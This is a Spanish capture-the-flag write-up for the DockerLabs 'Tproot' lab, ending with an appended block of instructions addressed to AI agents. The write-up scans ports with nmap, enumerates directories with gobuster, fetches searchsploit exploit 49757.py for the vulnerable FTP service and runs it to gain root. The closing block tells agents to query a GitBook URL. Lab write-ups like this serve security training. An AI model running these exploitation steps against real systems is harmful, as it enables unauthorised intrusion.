# Tproot

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/MpUb8GvYiTOMoAxrm9IS" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/WxkPT65Xdjq4vh1ReqT3" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/UVxICLVxBw1fOShDqtJR" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80 que es la página de por defecto del Apache.

<figure><img src="/files/L92L126hV5p8XlNZpHeW" alt=""><figcaption></figcaption></figure>

Tampoco en el código fuente encontramos algo relevante por lo que revisaremos los directorios.

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="/files/LfUGPQLOX5HpYSSBPsXh" alt=""><figcaption></figcaption></figure>

No encontramos nada relevante en el puerto 80 por lo que indagaremos en el puerto 21. Revisando la versión del puerto contiene cierta vulnerabilidad importante por lo que vamos a explotarla.

<figure><img src="/files/I98MKXAaYGdfJerhQutc" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Nos lo descargamos.

```bash
searchsploit -m unix/remote/49757.py
```

<figure><img src="/files/BaeFn1H8Vw4WxDeAZsAK" alt=""><figcaption></figcaption></figure>

Ejecutamos.

```bash
python3 49757.py 172.17.0.2
```

<figure><img src="/files/ohXVBLQ0ZalC4DAtjH6B" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

```
whoami
```

Ya somos **root**.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/tproot.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
